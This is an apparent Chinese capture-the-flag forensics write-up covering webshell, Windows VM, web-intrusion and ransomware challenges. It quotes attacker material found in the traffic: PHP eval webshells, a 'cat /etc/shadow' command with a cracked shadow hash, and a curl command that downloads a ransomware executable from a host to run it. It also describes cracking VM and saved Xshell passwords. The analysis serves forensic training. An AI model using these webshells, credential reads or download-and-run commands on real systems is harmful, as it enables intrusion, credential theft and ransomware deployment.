于是这道题的答案是flag{6dfdc384d6025b2ab9b71ec15971aa11}

easy_shiro-3

题目内容：攻击者植入了内存webshell,使用这个webshell做了什么，其中有flag

由第二题解题过程中可得，这个是第三题的答案flag{1198be3b489ae0ddf88d0e6733e88fa6}

决赛

win

win-1

题目内容：小明在一台电脑中获取了一个虚拟机文件以及桌面上存有rockyou.txt，打开虚拟机的密码是多少？

这个题打开vmx文件就能看到这就是上一届陇剑杯出过的虚拟机加密的题目2021陇剑杯-机密内存-解题过程分析。首先需要解密虚拟机，需要用的工具是pyvmx-cracker。但是会发现解密不了，对照了一下去年的原题，发现vmx文件多了个encryptedVM.guid = ""，删除掉这一行就能解密了。

密码是somewhere，因此这道题的答案就是somewhere。
（当时做这道题的时候，根据题目提示直接从kali里面找rockyou.txt,当时就用134M的密码本跑，结果给跑出来了，没想到最后是主办方给的密码本。）

win-2

题目内容：xshell链接的密码是多少？

通过自己本地电脑找到的xmanager存放的数据文件夹位置C:\Users\xxx\Documents\NetSarang Computer\7，同样能够在虚拟机里找到，版本是xshell6。

打开Sessions文件夹发现有一个新建会话.xsh文件，里面存放的就是ssh的连接信息。在这里面能够看到加密后的密码，具体xshell对于保存的ssh密码进行加密的流程在这里How does Xmanager encrypt password?。使用脚本进行解密最后结果是123456a

因此这道题的答案是123456a。

win-3

题目内容：总共访问了几次 www.baidu.com?

打开原生的IE浏览器，没有发现有相关的历史记录。

打开火狐浏览器，寻找历史记录打开访问次数列。可以看到访问10次www.baidu.com。所以这道题答案就是10。

mid

mid-1

题目内容：从哪个文件中获得到后台的用户名密码？

打开流量包，过滤器http.response.code != 404，过滤掉那些404的请求，可以看到有个robots.txt，里面有一串base64，解码后发现是用户名密码。

因此这道题的答案就是robots.txt。

mid-2

题目内容：admin的密码通过哪个函数进行加密存储，答案示例 exec()。

刚开始我以为是前端加密，疯狂寻找没有找到有用的。所以重点查看后面执行命令的地方。可以看到写入文件.1ndex.php的命令。但是访问这个文件发现没有权限。

于是重新了个文件是1ndex.php，并且成功访问此文件。

写入的文件内容是

<?php eval($_POST[hi]); ?>

于是后面的代码执行就顺理成章。发现后面对一些php文件进行有导出成txt的操作。

看到4.txt，就是Authentication.php的代码内容，可以看到代码注释是Create password hash from plaintext password.。加密函数用的是password_hash。

那么这道题的答案就是password_hash

mid-3

题目内容：写入的第一次的shell的连接密码是多少？

在上题说过，第一次写入文件是.1ndex.php，把写入的文件内容找到。

解码后内容是<?php eval($_POST[1]); ?>，因此这道题的答案就是1。

mid-4

题目内容：用户 hack 的密码是多少？

后面POST /1ndex.php，进行代码执行。解码后分析一下上传的代码，主要看输出的地方，可以看到输出缓冲区的内容被rot13编码了，并且头和尾增加了脏数据。

继续往下看，找到这条流量，分析代码，找到执行命令的位置。把base64去除前两位，解码就可以看到执行cd "/var/www/html";cat /etc/shadow;echo bdfbedc;pwd;echo fdc4afba5b。

找到关于hacker的shadow信息，hack:$6$scJ3Xg1qPInqVVtG$JafeFeTcqSBmXTcbNAoGSyt4TkvZpvwLhLy89FM9c1fakLdkywf5eLzuFledt01PpOXncSUCHrW83PJ0VLC370:19586:0:99999:7:::。

使用john进行破解，所以这道题的答案就是qwerty

ransom

ransom-1

题目内容：攻击者通过后门在受害机器上安装了勒索病毒，给出勒索病毒文件的sha256(大写)(注:该文件建议在虚拟机中打开)

过滤HTTP之后，通过后门进行命令执行。可以看到执行命令dir，返回结果如下

继续往下看，发现执行了一个curl命令curl 192.168.204.1:8000/test.exe --output test.exe。并且后续执行此exe，对某些文件进行了加密操作，因此这个test.exe就是勒索病毒。

所以这道题的答案就是223EA13EFD517D185708AFF1DA8B9CBBD9D1B97D1CB3E7B9107CDA2FFCB599C9

ransom-2

题目内容：勒索病毒对本地文件继续了加密，给出加密文件的数量

上道题可以看出，运行test.exe，会将secret.txt加密成secret.txt.enc。但是用http继续过滤时没有发现相关的流量，就很奇怪。于是把过滤器清空，发现有一段TCP流量，但是没有转换成HTTP。

于是追踪TCP流，可以看到总共是133个文件被加密。

所以这道题的答案就是133。

ransom-3

题目内容：恢复被加密的secret.txt的内容

流量中发现读取了e:\tmp.txt，也读取secret.txt.enc。其中的细节需要逆向分析，这方面等有所成之后再来细究一下。